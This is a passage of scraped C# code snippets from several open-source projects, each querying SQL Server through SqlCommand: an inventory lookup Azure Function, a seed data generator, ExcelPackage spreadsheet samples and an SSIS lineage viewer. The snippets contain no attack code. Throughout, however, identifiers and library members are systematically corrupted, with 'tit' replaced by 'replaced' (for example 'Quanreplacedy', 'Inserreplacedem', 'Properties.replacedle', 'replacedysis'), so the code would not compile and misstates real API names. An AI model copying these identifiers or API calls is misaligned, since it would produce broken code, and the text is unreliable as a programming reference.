catch (Exception ex)
{
log.LogInformation(ex.Message);
}
finally
{
reader.Close();
}
}
return new FindItemResponse(null);
}
19
Source : SqlCommandAzureFunction.cs
with GNU General Public License v3.0
from Inventor22
with GNU General Public License v3.0
from Inventor22
public static FindItemResponse TryFindItem(string item, SqlConnection conn, ILogger log)
{
string singularizedItem = QueryHelper.Instance.SingularizeAndLower(item);
List<Item> items = new List<Item>();
var queryString = $"SELECT * FROM dbo.Items WHERE Items.NameKey LIKE @param1";
using (SqlCommand command = new SqlCommand())
{
command.Connection = conn;
command.CommandText = queryString;
command.Parameters.AddWithValue("@param1", singularizedItem);
SqlDataReader reader = command.ExecuteReader();
try
{
while (reader.Read())
{
items.Add(
new Item
{
Name = (string)reader[Dbo.Items.Name],
Quanreplacedy = (int)reader[Dbo.Items.Quanreplacedy],
Row = (int)reader[Dbo.Items.Row],
Col = (int)reader[Dbo.Items.Col],
IsSmallBox = (bool)reader[Dbo.Items.IsSmallBox],
DateCreated = (DateTime)reader[Dbo.Items.DateCreated],
LastUpdated = (DateTime)reader[Dbo.Items.LastUpdated]
});
}
return new FindItemResponse(items);
}
catch (Exception ex)
{
log.LogInformation(ex.Message);
return new FindItemResponse(null);
}
finally
{
reader.Close();
}
}
}
19
Source : SqlCommandAzureFunction.cs
with GNU General Public License v3.0
from Inventor22
with GNU General Public License v3.0
from Inventor22
public static FindTagsResponse FindTags(TagSet tagSet, SqlConnection connection, ILogger log, int maxResults = 10)
{
if (tagSet.Count == 0) return new FindTagsResponse(-1, null);
// Take a string of words: "Green motor driver"
// Extract a HashSet of tags: HashSet<string> = { "Green", "motor", "driver" }
// Format as params for SQL query, to defend against SQL injection attacks:
// "@param2,@param3,@param4"
string paramList = string.Join(",", tagSet.Select((_, index) => $"@param{index + 2}"));
log.LogInformation(paramList);
var queryString = $@"
SELECT i.NameKey, i.Name, i.Quanreplacedy, i.Row, i.Col, t.TagsMatched
FROM dbo.Items i JOIN
(
SELECT NameKey, COUNT(NameKey) TagsMatched
FROM dbo.Tags
WHERE Tag IN({paramList})
GROUP BY NameKey
) t ON i.NameKey = t.NameKey
ORDER BY t.TagsMatched DESC";
using (SqlCommand command = new SqlCommand())
{
command.Connection = connection;
command.CommandText = queryString;
command.Parameters.AddWithValue("@param1", maxResults);
int index = 2;
foreach (string tag in tagSet)
{
command.Parameters.AddWithValue($"@param{index++}", tag);
}
SqlDataReader reader = command.ExecuteReader();
try
{
int i = 0;
List<int[]> coordsAndMatches = new List<int[]>();
while (reader.Read() && i++ < maxResults)
{
coordsAndMatches.Add(new int[] { (int)reader["Row"], (int)reader["Col"], (int)reader["TagsMatched"] });
}
return new FindTagsResponse(tagSet.Count, coordsAndMatches);
}
catch (Exception ex)
{
log.LogInformation(ex.Message);
return new FindTagsResponse(tagSet.Count, null);
}
finally
{
reader.Close();
}
}
}
19
Source : SqlCommandAzureFunction.cs
with GNU General Public License v3.0
from Inventor22
with GNU General Public License v3.0
from Inventor22
public static BundleWithResponse BundleWithTags(string text, int quanreplacedy, SqlConnection connection, ILogger log)
{
string[] itemAndTags = text.Split(" with tags ", StringSplitOptions.RemoveEmptyEntries);
if (itemAndTags.Length != 2)
{
return new BundleWithResponse();
}
string newItem = itemAndTags[0].Trim();
TagSet existingItemTags = new TagSet(itemAndTags[1]);
// Take a string of words: "Green motor driver"
// Extract a HashSet of tags: HashSet<string> = { "Green", "motor", "driver" }
// Format as params for SQL query, to defend against SQL injection attacks:
// "@param2,@param3,@param4"
string paramList = string.Join(",", existingItemTags.Select((tag, index) => $"@param{index+2}"));
log.LogInformation(paramList);
int maxResults = 3;
var queryString = $@"
SELECT TOP (@param1) i.Name, i.Quanreplacedy, i.Row, i.Col, i.IsSmallBox, t.TagsMatched
FROM dbo.Items i JOIN
(
SELECT NameKey, COUNT(NameKey) TagsMatched
FROM dbo.Tags
WHERE Tag IN({paramList})
GROUP BY NameKey
) t ON i.NameKey = t.NameKey
ORDER BY t.TagsMatched DESC";
List<TaggedItem> items = new List<TaggedItem>();
using (SqlCommand command = new SqlCommand())
{
command.Connection = connection;
command.CommandText = queryString;
command.Parameters.AddWithValue("@param1", maxResults);
int index = 2;
foreach (string tag in existingItemTags)
{
command.Parameters.AddWithValue($"@param{index++}", tag);
}
SqlDataReader reader = command.ExecuteReader();
try
{
while (reader.Read())
{
items.Add(new TaggedItem
{
Name = (string)reader["Name"],
Row = (int)reader["Row"],
Col = (int)reader["Col"],
TagsMatched = (int)reader["TagsMatched"],
IsSmallBox = (bool)reader["IsSmallBox"]
});
}
}
catch (Exception ex)
{
log.LogInformation(ex.Message);
return new BundleWithResponse();
}
finally
{
reader.Close();
}
}
IEnumerable<TaggedItem> fullyMatchedItems = items.Where(a => a.TagsMatched.Value == existingItemTags.Count);
if (fullyMatchedItems.Count() == 1)
{
TaggedItem existingItem = fullyMatchedItems.First();
Item inserreplacedem = new Item(
newItem,
quanreplacedy,
existingItem.Row.Value,
existingItem.Col.Value,
existingItem.IsSmallBox.Value);
TagSet newItemTags = new TagSet(newItem);
InserreplacedemResponse resp = InserreplacedemWithTags(inserreplacedem, newItemTags, connection, log);
if (resp.Success)
{
return new BundleWithResponse(true, newItem, quanreplacedy, existingItem.Name, inserreplacedem.Row, inserreplacedem.Col);
}
else
{
return new BundleWithResponse(false, newItem, quanreplacedy, existingItem.Name);
}
}
return new BundleWithResponse();
}
19
Source : SqlCommandAzureFunction.cs
with GNU General Public License v3.0
from Inventor22
with GNU General Public License v3.0
from Inventor22
public static ICommandResponse Inserreplacedem(dynamic jsonRequestData, SqlConnection connection, ILogger log)
{
string info = jsonRequestData["Info"];
int quanreplacedy = jsonRequestData["Quanreplacedy"];
string infoLower = info.ToLowerInvariant();
bool hasBox = TryGetBoxInfo(infoLower, out int boxIndex, out string boxSearch, out bool useSmallBox);
bool hasTags = TryGetTagsInfo(infoLower, boxIndex, out int tagsIndex, out TagSet tagSet);
string itemName = GereplacedemInfo(info, hasBox, hasTags, boxIndex, tagsIndex);
tagSet.ParseAndUnionWith(itemName);
FindItemResponse findItemResponse = FindItem(itemName, connection, log);
if (findItemResponse.Count > 0)
{
return findItemResponse;
}
// Item doesn't exist; insert.
// Find existing boxes
var sqlAllConsumedBoxes = string.Format("SELECT DISTINCT ROW,COL FROM dbo.Items");
MatrixModel matrix = new MatrixModel();
using (SqlCommand command = new SqlCommand(sqlAllConsumedBoxes, connection))
{
SqlDataReader reader = command.ExecuteReader();
try
{
while (reader.Read())
{
matrix.AddItem((int)reader[Dbo.Items.Row], (int)reader[Dbo.Items.Col]);
}
}
finally
{
reader.Close();
}
}
var (row, col) = matrix.GetNextAvailableBox(useSmallBox);
if (row == -1 && col == -1)
{
return new InserreplacedemResponse(false);
}
Item item = new Item(itemName, quanreplacedy, row, col, useSmallBox);
return InserreplacedemWithTags(item, tagSet, connection, log);
}
19
Source : SqlCommandAzureFunction.cs
with GNU General Public License v3.0
from Inventor22
with GNU General Public License v3.0
from Inventor22
public static ShowAllBoxesResponse ShowAllBoxes(SqlConnection connection, ILogger log)
{
string allBoxesQuery = $@"SELECT DISTINCT Row,Col FROM dbo.Items";
using (SqlCommand command = new SqlCommand(allBoxesQuery, connection))
{
SqlDataReader reader = command.ExecuteReader();
try
{
StringBuilder sb = new StringBuilder();
while(reader.Read())
{
sb.Append((char)((int)reader[Dbo.Items.Row] + 'a'));
sb.Append((char)((int)reader[Dbo.Items.Col] + 'a'));
}
string coords = sb.ToString();
return new ShowAllBoxesResponse(coords.Length / 2, coords);
}
catch (Exception ex)
{
log.LogInformation(ex.Message);
return new ShowAllBoxesResponse();
}
finally
{
reader.Close();
}
}
}
19
Source : SeedDataGenerator.cs
with Apache License 2.0
from iQuarc
with Apache License 2.0
from iQuarc
private IEnumerable<IEnumerable<object>> GetTableValues(Table table)
{
var connectionString = configurationRoot.GetConnectionString(ConnectionName);
using (var cnn = new SqlConnection(connectionString))
using (var cmd = new SqlCommand())
{
var columns = table.Columns
.Where(columnsFilter)
.ToList();
var where = whereClause(table);
cmd.CommandText = $"SELECT {CommaJoin(columns, ColumnExpression)} FROM [{table.Schema.Name}].[{table.Name}] WHERE {(String.IsNullOrEmpty(where) ? "1=1" : where)}";
cnn.Open();
cmd.Connection = cnn;
using (var rdr = cmd.ExecuteReader())
{
while (rdr.Read())
{
var arr = new object[rdr.FieldCount];
rdr.GetValues(arr);
yield return arr;
}
}
}
}
19
Source : Sample12.cs
with GNU Lesser General Public License v2.1
from jet-global
with GNU Lesser General Public License v2.1
from jet-global
private static List<SalesDTO> GetDataFromSQL(string sqlServerName)
{
string connectionStr = string.Format(@"server={0};database=AdventureWorks;Integrated Security=true;", sqlServerName);
var ret = new List<SalesDTO>();
// lets connect to the AdventureWorks sample database for some data
using (SqlConnection sqlConn = new SqlConnection(connectionStr))
{
sqlConn.Open();
using (SqlCommand sqlCmd = new SqlCommand("select h.replacedle, FirstName, MiddleName, LastName, SubTotal, OrderDate, TaxAmt, Freight, TotalDue from Sales.SalesOrderHeader s inner join HumanResources.Employee h on s.SalesPersonID = h.EmployeeID inner join Person.Contact c on c.ContactID = h.ContactID order by LastName, FirstName, MiddleName;", sqlConn))
{
using (SqlDataReader sqlReader = sqlCmd.ExecuteReader())
{
//Get the data and fill rows 5 onwards
while (sqlReader.Read())
{
ret.Add(new SalesDTO
{
replacedle = sqlReader["replacedle"].ToString(),
FirstName = sqlReader["FirstName"].ToString(),
MiddleName = sqlReader["MiddleName"].ToString(),
LastName = sqlReader["LastName"].ToString(),
OrderDate = (DateTime)sqlReader["OrderDate"],
SubTotal = (decimal)sqlReader["SubTotal"],
Tax = (decimal)sqlReader["TaxAmt"],
Freight = (decimal)sqlReader["Freight"]
});
}
}
}
}
return ret;
}
19
Source : Sample3.cs
with GNU Lesser General Public License v2.1
from jet-global
with GNU Lesser General Public License v2.1
from jet-global
public static string RunSample3(DirectoryInfo outputDir, string connectionString)
{
string file = outputDir.FullName + @"\sample3.xlsx";
if (File.Exists(file)) File.Delete(file);
FileInfo newFile = new FileInfo(outputDir.FullName + @"\sample3.xlsx");
// ok, we can run the real code of the sample now
using (ExcelPackage xlPackage = new ExcelPackage(newFile))
{
// uncomment this line if you want the XML written out to the outputDir
//xlPackage.DebugMode = true;
// get handle to the existing worksheet
ExcelWorksheet worksheet = xlPackage.Workbook.Worksheets.Add("Sales");
var namedStyle = xlPackage.Workbook.Styles.CreateNamedStyle("HyperLink"); //This one is language dependent
namedStyle.Style.Font.UnderLine = true;
namedStyle.Style.Font.Color.SetColor(Color.Blue);
if (worksheet != null)
{
const int startRow = 5;
int row = startRow;
//Create Headers and format them
worksheet.Cells["A1"].Value = "AdventureWorks Inc.";
using (ExcelRange r = worksheet.Cells["A1:G1"])
{
r.Merge = true;
r.Style.Font.SetFromFont(new Font("Britannic Bold", 22, FontStyle.Italic));
r.Style.Font.Color.SetColor(Color.White);
r.Style.HorizontalAlignment = OfficeOpenXml.Style.ExcelHorizontalAlignment.CenterContinuous;
r.Style.Fill.PatternType = OfficeOpenXml.Style.ExcelFillStyle.Solid;
r.Style.Fill.BackgroundColor.SetColor(Color.FromArgb(23, 55, 93));
}
worksheet.Cells["A2"].Value = "Year-End Sales Report";
using (ExcelRange r = worksheet.Cells["A2:G2"])
{
r.Merge = true;
r.Style.Font.SetFromFont(new Font("Britannic Bold", 18, FontStyle.Italic));
r.Style.Font.Color.SetColor(Color.Black);
r.Style.HorizontalAlignment = ExcelHorizontalAlignment.CenterContinuous;
r.Style.Fill.PatternType = ExcelFillStyle.Solid;
r.Style.Fill.BackgroundColor.SetColor(Color.FromArgb(184, 204, 228));
}
worksheet.Cells["A4"].Value = "Name";
worksheet.Cells["B4"].Value = "Job replacedle";
worksheet.Cells["C4"].Value = "Region";
worksheet.Cells["D4"].Value = "Monthly Quota";
worksheet.Cells["E4"].Value = "Quota YTD";
worksheet.Cells["F4"].Value = "Sales YTD";
worksheet.Cells["G4"].Value = "Quota %";
worksheet.Cells["A4:G4"].Style.Fill.PatternType = ExcelFillStyle.Solid;
worksheet.Cells["A4:G4"].Style.Fill.BackgroundColor.SetColor(Color.FromArgb(184, 204, 228));
worksheet.Cells["A4:G4"].Style.Font.Bold = true;
// lets connect to the AdventureWorks sample database for some data
using (SqlConnection sqlConn = new SqlConnection(connectionString))
{
sqlConn.Open();
using (SqlCommand sqlCmd = new SqlCommand("select LastName + ', ' + FirstName AS [Name], EmailAddress, Jobreplacedle, CountryRegionName, ISNULL(SalesQuota,0) AS SalesQuota, ISNULL(SalesQuota,0)*12 AS YearlyQuota, SalesYTD from Sales.vSalesPerson ORDER BY SalesYTD desc", sqlConn))
{
using (SqlDataReader sqlReader = sqlCmd.ExecuteReader())
{
// get the data and fill rows 5 onwards
while (sqlReader.Read())
{
int col = 1;
// our query has the columns in the right order, so simply
// iterate through the columns
for (int i = 0; i < sqlReader.FieldCount; i++)
{
// use the email address as a hyperlink for column 1
if (sqlReader.GetName(i) == "EmailAddress")
{
// insert the email address as a hyperlink for the name
string hyperlink = "mailto:" + sqlReader.GetValue(i).ToString();
worksheet.Cells[row, 1].Hyperlink = new Uri(hyperlink, UriKind.Absolute);
}
else
{
// do not bother filling cell with blank data (also useful if we have a formula in a cell)
if (sqlReader.GetValue(i) != null)
worksheet.Cells[row, col].Value = sqlReader.GetValue(i);
col++;
}
}
row++;
}
sqlReader.Close();
worksheet.Cells[startRow, 1, row - 1, 1].StyleName = "HyperLink";
worksheet.Cells[startRow, 4, row - 1, 6].Style.Numberformat.Format = "[$$-409]#,##0";
worksheet.Cells[startRow, 7, row - 1, 7].Style.Numberformat.Format = "0%";
worksheet.Cells[startRow, 7, row - 1, 7].FormulaR1C1 = "=IF(RC[-2]=0,0,RC[-1]/RC[-2])";
//Set column width
worksheet.Column(1).Width = 25;
worksheet.Column(2).Width = 28;
worksheet.Column(3).Width = 18;
worksheet.Column(4).Width = 12;
worksheet.Column(5).Width = 10;
worksheet.Column(6).Width = 10;
worksheet.Column(7).Width = 12;
}
}
sqlConn.Close();
}
// lets set the header text
worksheet.HeaderFooter.OddHeader.CenteredText = "AdventureWorks Inc. Sales Report";
// add the page number to the footer plus the total number of pages
worksheet.HeaderFooter.OddFooter.RightAlignedText =
string.Format("Page {0} of {1}", ExcelHeaderFooter.PageNumber, ExcelHeaderFooter.NumberOfPages);
// add the sheet name to the footer
worksheet.HeaderFooter.OddFooter.CenteredText = ExcelHeaderFooter.SheetName;
// add the file path to the footer
worksheet.HeaderFooter.OddFooter.LeftAlignedText = ExcelHeaderFooter.FilePath + ExcelHeaderFooter.FileName;
}
// we had better add some doreplacedent properties to the spreadsheet
// set some core property values
xlPackage.Workbook.Properties.replacedle = "Sample 3";
xlPackage.Workbook.Properties.Author = "John Tunnicliffe";
xlPackage.Workbook.Properties.Subject = "ExcelPackage Samples";
xlPackage.Workbook.Properties.Keywords = "Office Open XML";
xlPackage.Workbook.Properties.Category = "ExcelPackage Samples";
xlPackage.Workbook.Properties.Comments = "This sample demonstrates how to create an Excel 2007 file from scratch using the Packaging API and Office Open XML";
// set some extended property values
xlPackage.Workbook.Properties.Company = "AdventureWorks Inc.";
xlPackage.Workbook.Properties.HyperlinkBase = new Uri("http://www.codeplex.com/MSFTDBProdSamples");
// set some custom property values
xlPackage.Workbook.Properties.SetCustomPropertyValue("Checked by", "John Tunnicliffe");
xlPackage.Workbook.Properties.SetCustomPropertyValue("EmployeeID", "1147");
xlPackage.Workbook.Properties.SetCustomPropertyValue("replacedemblyName", "ExcelPackage");
// save the new spreadsheet
xlPackage.Save();
}
// if you want to take a look at the XML created in the package, simply uncomment the following lines
// These copy the output file and give it a zip extension so you can open it and take a look!
//FileInfo zipFile = new FileInfo(outputDir.FullName + @"\sample3.zip");
//if (zipFile.Exists) zipFile.Delete();
//newFile.CopyTo(zipFile.FullName);
return newFile.FullName;
}
19
Source : Sample4.cs
with GNU Lesser General Public License v2.1
from jet-global
with GNU Lesser General Public License v2.1
from jet-global
public static string RunSample4(string connectionString, FileInfo template, DirectoryInfo outputdir)
{
using (ExcelPackage p = new ExcelPackage(template, true))
{
//Set up the headers
ExcelWorksheet ws = p.Workbook.Worksheets[1];
ws.Cells["A20"].Value = "Date";
ws.Cells["B20"].Value = "EOD Rate";
ws.Cells["B20:D20"].Merge = true;
ws.Cells["E20"].Value = "Change";
ws.Cells["E20:G20"].Merge = true;
ws.Cells["B20:E20"].Style.HorizontalAlignment = ExcelHorizontalAlignment.CenterContinuous;
using (ExcelRange row = ws.Cells["A20:G20"])
{
row.Style.Fill.PatternType = ExcelFillStyle.Solid;
row.Style.Fill.BackgroundColor.SetColor(Color.FromArgb(23, 55, 93));
row.Style.Font.Color.SetColor(Color.White);
row.Style.Font.Bold = true;
}
ws.Cells["B21"].Value = "USD/JPY";
ws.Cells["C21"].Value = "USD/EUR";
ws.Cells["D21"].Value = "USD/GBP";
ws.Cells["E21"].Value = "USD/JPY";
ws.Cells["F21"].Value = "USD/EUR";
ws.Cells["G21"].Value = "USD/GBP";
using (ExcelRange row = ws.Cells["A21:G21"])
{
row.Style.Fill.PatternType = ExcelFillStyle.Solid;
row.Style.Fill.BackgroundColor.SetColor(Color.FromArgb(184, 204, 228));
row.Style.Font.Color.SetColor(Color.Black);
row.Style.Font.Bold = true;
}
int startRow = 22;
//Connect to the database and fill the data
using (SqlConnection sqlConn = new SqlConnection(connectionString))
{
int row = startRow;
sqlConn.Open();
using (SqlCommand sqlCmd = new SqlCommand("SELECT CurrencyRateDate, SUM(Case when ToCurrencyCode = 'JPY' Then EndOfDayRate Else 0 END) AS [JPY], SUM(Case when ToCurrencyCode = 'EUR' Then EndOfDayRate Else 0 END) AS [EUR], SUM(Case when ToCurrencyCode = 'GBP' Then EndOfDayRate Else 0 END) AS [GBP] FROM [AdventureWorks].[Sales].[CurrencyRate] where [FromCurrencyCode]='USD' AND ToCurrencyCode in ('JPY', 'EUR', 'GBP') GROUP BY CurrencyRateDate ORDER BY CurrencyRateDate", sqlConn))
{
using (SqlDataReader sqlReader = sqlCmd.ExecuteReader())
{
// get the data and fill rows 22 onwards
while (sqlReader.Read())
{
ws.Cells[row, 1].Value = sqlReader[0];
ws.Cells[row, 2].Value = sqlReader[1];
ws.Cells[row, 3].Value = sqlReader[2];
ws.Cells[row, 4].Value = sqlReader[3];
row++;
}
}
//Set the numberformat
ws.Cells[startRow, 1, row - 1, 1].Style.Numberformat.Format = "yyyy-mm-dd";
ws.Cells[startRow, 2, row - 1, 4].Style.Numberformat.Format = "#,##0.0000";
//Set the Formulas
ws.Cells[startRow + 1, 5, row - 1, 7].Formula = string.Format("B${0}/B{1}-1", startRow, startRow + 1);
ws.Cells[startRow, 5, row - 1, 7].Style.Numberformat.Format = "0.00%";
}
//Set the series for the chart. The series must exist in the template or the program will crash.
ExcelChart chart = ((ExcelChart)ws.Drawings["SampleChart"]);
chart.replacedle.Text = "Exchange rate %";
chart.Series[0].Header = "USD/JPY";
chart.Series[0].XSeries = "'" + ws.Name + "'!" + ExcelRange.GetAddress(startRow + 1, 1, row - 1, 1);
chart.Series[0].Series = "'" + ws.Name + "'!" + ExcelRange.GetAddress(startRow + 1, 5, row - 1, 5);
chart.Series[1].Header = "USD/EUR";
chart.Series[1].XSeries = "'" + ws.Name + "'!" + ExcelRange.GetAddress(startRow + 1, 1, row - 1, 1);
chart.Series[1].Series = "'" + ws.Name + "'!" + ExcelRange.GetAddress(startRow + 1, 6, row - 1, 6);
chart.Series[2].Header = "USD/GBP";
chart.Series[2].XSeries = "'" + ws.Name + "'!" + ExcelRange.GetAddress(startRow + 1, 1, row - 1, 1);
chart.Series[2].Series = "'" + ws.Name + "'!" + ExcelRange.GetAddress(startRow + 1, 7, row - 1, 7);
}
//Get the doreplacedet as a byte array from the stream and save it to disk. (This is usefull in a webapplication) ...
Byte[] bin = p.GetAsByteArray();
string file = outputdir + "\\sample4.xlsx";
File.WriteAllBytes(file, bin);
return file;
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void btnLoad_Click(object sender, EventArgs e)
{
Dictionary<int, string> runIDs = new Dictionary<int, string>();
Dictionary<int, string> selectedRunIDs = new Dictionary<int, string>();
RunSelection dlgSelectRun = new RunSelection();
sqlConnection = new SqlConnection(this.connectionString);
sqlConnection.Open();
graphViewer.Enabled = false;
graphViewer.Graph = null;
objectIDToNameMap.Clear();
objectIDToTypeMap.Clear();
dependencyGraph.Clear();
numberInbound = (int)nbBefore.Value;
numberOutbound = (int)nbAfter.Value;
// Get the list of Run's
using (SqlCommand runsCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveRunIDs];", sqlConnection))
{
using (SqlDataReader sqlReader = runsCommand.ExecuteReader())
{
while (sqlReader.Read())
{
runIDs.Add(sqlReader.GetInt32(0), sqlReader.GetString(1));
}
}
}
dlgSelectRun.LoadItems(runIDs);
if (dlgSelectRun.ShowDialog() == DialogResult.OK)
{
selectedRunIDs = dlgSelectRun.Gereplacedems();
runIDsInList = "";
foreach (KeyValuePair<int, string> runText in selectedRunIDs)
{
if (runIDsInList == "")
{
runIDsInList = runText.Key.ToString();
}
else
{
runIDsInList += ", " + runText.Key.ToString();
}
}
if (runIDsInList != "")
{
graphViewer.Enabled = true;
// Initialize list of objects
InitializeObjectsMap();
// initialize the lineage map graph
InitializeLineageMap();
PopulateObjectList();
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
void AddObjectDetails(int objectID)
{
string objectType, objectDesc;
using (SqlCommand objectsCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveObjectDetails] @RunList, @ObjectKey", sqlConnection))
{
objectsCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
objectsCommand.Parameters.Add("@ObjectKey", SqlDbType.Int).Value = objectID;
using (SqlDataReader attributes = objectsCommand.ExecuteReader())
{
attributes.Read();
objectType = attributes["ObjectTypeString"] as string;
objectDesc = attributes["ObjectDesc"] as string;
}
}
// try to convert object type name to readable name in ObjectTypes table
using (SqlCommand objectsCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveObjectTypes] @ObjectTypeKey", sqlConnection))
{
objectsCommand.Parameters.Add(new SqlParameter("@ObjectTypeKey", objectType));
using (SqlDataReader attributes = objectsCommand.ExecuteReader())
{
if (attributes.Read())
{
objectType = (string)attributes["ObjectTypeName"];
}
}
}
string groupName = string.Format("{0} [{1}] [ID: {2}]", this.objectIDToNameMap[objectID], objectType, objectID);
ListViewGroup group = new ListViewGroup(groupName);
this.lvObjectProperties.Groups.Add(group);
if (!System.Windows.Forms.VisualStyles.VisualStyleInformation.IsSupportedByOS)
{
// if OS does not support groups, we need to create a list view item, since groups are ignored
ListViewItem grp = new ListViewItem(this.objectIDToNameMap[objectID]);
grp.SubItems.Add(string.Format("[{0}] [ID: {1}]", objectType, objectID));
grp.Font = new Font(this.lvObjectProperties.Font, System.Drawing.FontStyle.Bold);
this.lvObjectProperties.Items.Add(grp);
}
// we need at least one item in a group for the group to show up
// thus show the description even if it is empty
lvObjectProperties.Items.Add(CreateAttributeViewItem(group, "Description", objectDesc));
using (SqlCommand objectsCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveObjectAttributes] @RunList, @ObjectKey", sqlConnection))
{
objectsCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
objectsCommand.Parameters.Add("@ObjectKey", SqlDbType.Int).Value = objectID;
using (SqlDataReader attributes = objectsCommand.ExecuteReader())
{
while (attributes.Read())
{
string attribName = (string)attributes["ObjectAttrName"];
string attribValue = (string)attributes["ObjectAttrValue"];
if (!string.IsNullOrEmpty(attribValue))
{
lvObjectProperties.Items.Add(CreateAttributeViewItem(group, attribName, attribValue));
}
}
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void ShowreplacedysisServicesObjects()
{
TreeNode replacedysisServicesRoot = tvObjectList.Nodes.Add("replacedysis Services");
using (SqlCommand replacedysisServersCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveSSASObjects] @RunList", sqlConnection))
{
replacedysisServersCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
using (SqlDataReader sqlReader = replacedysisServersCommand.ExecuteReader())
{
while (sqlReader.Read())
{
TreeNode objectNode = replacedysisServicesRoot.Nodes.Add(sqlReader.GetInt32(0).ToString(), sqlReader.GetString(1));
// for each node add a dummy child node so that we get a '+' and can dig in deeper
objectNode.Nodes.Add(new DummyTreeNode());
}
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void ShowConnections()
{
TreeNode connectionsRootNode = tvObjectList.Nodes.Add("Relational Database");
using (SqlCommand connectionsCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveSQLSObjects] @RunList", sqlConnection))
{
connectionsCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
using (SqlDataReader sqlReader = connectionsCommand.ExecuteReader())
{
while (sqlReader.Read())
{
TreeNode objectNode = connectionsRootNode.Nodes.Add(sqlReader.GetInt32(0).ToString(), sqlReader.GetString(1));
// for each node add a dummy child node so that we get a '+' and can dig in deeper
objectNode.Nodes.Add(new DummyTreeNode());
}
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void ShowFileServers()
{
TreeNode filesRootNode = tvObjectList.Nodes.Add("Files");
using (SqlCommand fileServersCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveFileObjects] @RunList", sqlConnection))
{
fileServersCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
using (SqlDataReader sqlReader = fileServersCommand.ExecuteReader())
{
while (sqlReader.Read())
{
TreeNode objectNode = filesRootNode.Nodes.Add(sqlReader.GetInt32(0).ToString(), sqlReader.GetString(1));
// for each node add a dummy child node so that we get a '+' and can dig in deeper
objectNode.Nodes.Add(new DummyTreeNode());
}
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void ShowPackages()
{
TreeNode packageRootNode = tvObjectList.Nodes.Add("Integration Services");
using (SqlCommand packageCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveSSISObjects] @RunList", this.sqlConnection))
{
packageCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
using (SqlDataReader sqlReader = packageCommand.ExecuteReader())
{
while (sqlReader.Read())
{
TreeNode objectNode = packageRootNode.Nodes.Add(sqlReader.GetInt32(0).ToString(), sqlReader.GetString(1));
// for each node add a dummy child node so that we get a '+' and can dig in deeper
objectNode.Nodes.Add(new DummyTreeNode());
}
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void ShowReports()
{
TreeNode reportServersRootNode = tvObjectList.Nodes.Add("Reporting Servers");
using (SqlCommand reportServersCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveSSRSObjects] @RunList", sqlConnection))
{
reportServersCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
using (SqlDataReader sqlReader = reportServersCommand.ExecuteReader())
{
while (sqlReader.Read())
{
TreeNode objectNode = reportServersRootNode.Nodes.Add(sqlReader.GetInt32(0).ToString(), sqlReader.GetString(1));
// for each node add a dummy child node so that we get a '+' and can dig in deeper
objectNode.Nodes.Add(new DummyTreeNode());
}
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void AddChildren(int parentID, TreeNode parentNode)
{
using (SqlCommand childrenCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveContained] @SrcObjectKey", sqlConnection))
{
childrenCommand.Parameters.Add("@SrcObjectKey", SqlDbType.Int).Value = parentID;
using (SqlDataReader sqlReader = childrenCommand.ExecuteReader())
{
string lastCategory = null;
TreeNode categoryNode = null;
while (sqlReader.Read())
{
// get the type category
string currentCategory = sqlReader.GetString(2);
if (lastCategory != currentCategory)
{
lastCategory = currentCategory;
categoryNode = parentNode.Nodes.Add(currentCategory);
}
TreeNode objectNode = categoryNode.Nodes.Add(sqlReader.GetInt32(0).ToString(), sqlReader.GetString(1));
objectNode.Nodes.Add(new DummyTreeNode());
}
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void InitializeObjectsMap()
{
objectIDToNameMap.Clear();
objectIDToTypeMap.Clear();
using (SqlCommand objectsCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveObjects] @RunList", sqlConnection))
{
objectsCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
using (SqlDataReader objectsList = objectsCommand.ExecuteReader())
{
while (objectsList.Read())
{
int objID = objectsList.GetInt32(0);
string objName = objectsList.GetString(1);
string objType = objectsList.IsDBNull(3) ? objectsList.GetString(2) : objectsList.GetString(3);
objectIDToNameMap.Add(objID, objName);
objectIDToTypeMap.Add(objID, objType);
}
}
}
}
19
Source : MainFrom.cs
with Microsoft Public License
from keif888
with Microsoft Public License
from keif888
private void InitializeLineageMap()
{
using (SqlCommand lineageMapCommand = new SqlCommand("EXEC [dbo].[usp_RetrieveLineageMap] @RunList", sqlConnection))
{
lineageMapCommand.Parameters.Add("@RunList", SqlDbType.NVarChar, runIDsInList.Length).Value = runIDsInList;
using (SqlDataReader lineageMapReader = lineageMapCommand.ExecuteReader())
{
while (lineageMapReader.Read())
{
int from = lineageMapReader.GetInt32(0);
int to = lineageMapReader.GetInt32(1);
